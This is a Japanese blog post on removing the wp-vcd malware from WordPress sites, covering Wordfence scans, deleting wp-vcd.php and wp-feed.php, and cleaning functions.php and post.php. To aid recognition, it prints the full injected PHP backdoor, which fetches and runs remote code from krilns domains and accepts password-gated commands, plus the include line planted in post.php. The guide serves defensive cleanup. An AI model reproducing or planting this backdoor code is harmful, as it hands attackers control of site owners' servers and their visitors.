こんにちは。
今回の記事ではWordPressがマルウェアに感染してしまった時の対処方をご説明します。
マルウェア(Malware)とは?
WordPressのマルウェアとは、WordPressサイトやWordPressテーマ、プラグインなどに感染した悪意のあるコードのことを指します。マルウェアに感染したWordPressサイトは、様々な悪影響を受ける可能性があります。
例えば、マルウェアに感染したWordPressサイトは、以下のような悪影響を受ける可能性があります。
-
サイトの情報が盗まれる:マルウェアに感染したWordPressサイトは、サイトにアクセスしたユーザーの情報を収集し、ハッカーに盗まれる可能性があります。
-
ハッキングの踏み台にされる:マルウェアに感染したWordPressサイトは、ハッカーによって制御され、他のサイトへの攻撃の踏み台となることがあります。
-
SEOの被害を受ける:マルウェアに感染したWordPressサイトは、検索エンジンの検索結果から除外される可能性があります。これは、サイトのSEOに悪影響を与える可能性があるためです。
-
サイトの動作に影響を与える:マルウェアに感染したWordPressサイトは、サイトの動作に影響を与え、正常に動作しなくなることがあります。
WordPressサイトを運営する際には、セキュリティ対策を十分に行うことが重要です。定期的なバックアップやセキュリティプラグインの導入、パスワードの強化などが有効な対策となります。
まずはマルウェアをスキャン
とにもかくにも、まずは原因を突き止める必要があります。そのために、「Wordfence」という無料プラグインをインストールして有効化します。
そして「Wordfence」>「Scan」に進みます。「START NEW SCAN」をクリックしていスキャンを行います。
スキャンには時間がかかりますが、完了すると問題のある部分のリストが表示されます。
この中で「Critical」という項目は必ず修正する必要があります。
マルウウェアの主な原因
原因はいくつかありますが、基本的に以下の部分が問題になることが多いです。
① wp-vcd.phpの削除
マルウェアにおいて1番よくあるのがこちらのファイルを追加されていることです。
FTPでアクセスして、 wp-includes/wp-vcd.php にインストールされたこのファイルを削除する必要があります。
② wp-feed.php の削除
同時に wp-includes/wp-feed.php に 勝手にファイルを作成されていることがあるので「wp-feed.php」も削除します。
③ テーマ内の functions.php の修正
↑このような表示があるので、テーマ内のfunctions.php のファイルを修正します。この警告が出ていれば、functions.php 内の先頭に以下のコードが挿入されていることが多いので確認してから削除をしましょう。
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '94d7c9be1abb7310b4c554fc3bfc8528')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='bd77cd4ba9fae84678e6f1b5cf9b9665'; if (($tmpcontent = @file_get_contents("http://www.krilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.krilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.krilns.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.krilns.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?>
慣れない場合は自分でやるのはオススメできません。間違ってfunctions.phpファイルの中身を消してしまうとサイトが表示されなくなってしまいます。
もしヘルプが必要ということでしたら僕の方でも対応できるので、お問い合わせフォームからご連絡いただければと思います。
また、1つのテーマにこの警告が見つかったら、他のテーマの functions.php にも感染していることが多いです。必ず確認しましょう。また、使っていないテーマがあればこの際に削除してしまってもいいです。
↑テーマの functions.php のこの部分から上を削除します。
④ post.php の修正
以下のように post.php ファイルにも「Critical」という警告が出ますが、削除をしてはいけません。こちらもファイル内を修正する必要があります。
FTPで wp-includes/post.php にアクセスをして、以下の部分を削除します。こちらも基本的には先頭に追加されています。
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>
⑤ その他ファイルの修正
その他に「Critical」が表示されている部分は必ず修正する必要があります。
その以下は例になります。こちらが表示されていたら、該当するファイルを開いて、指定された箇所を削除します。こちらも慣れない場合は自分でやらない方がいいです。
サーバー内の他のサイトも確認して下さい
このようにマルウエアが確認されたら、同じサーバーの他のWordPressのサイトも感染していることが多いです。ですので、必ず他のサイトも確認するようにしましょう。
- 公式サイトからダウンロードしていない海賊版のテーマ・プラグインを使用している
- アカウント情報(ユーザー名・パスワード)が簡単すぎる
- WordPressの公式サイトから削除されたプラグインを使用している
- WordPressのバージョンが古い
↑できるだけこの項目に気をつけるようにしましょう。
Wordfenceのプラグインを使って、定期的にスキャンをするようにしましょう。
サイトのダウンタイム監視も重要
サイトを常にモニタリングしておくことで、サイトの異常を察知することも可能です。 UptimeRobot のようにダウンタイム監視ツールを活用することも重要です。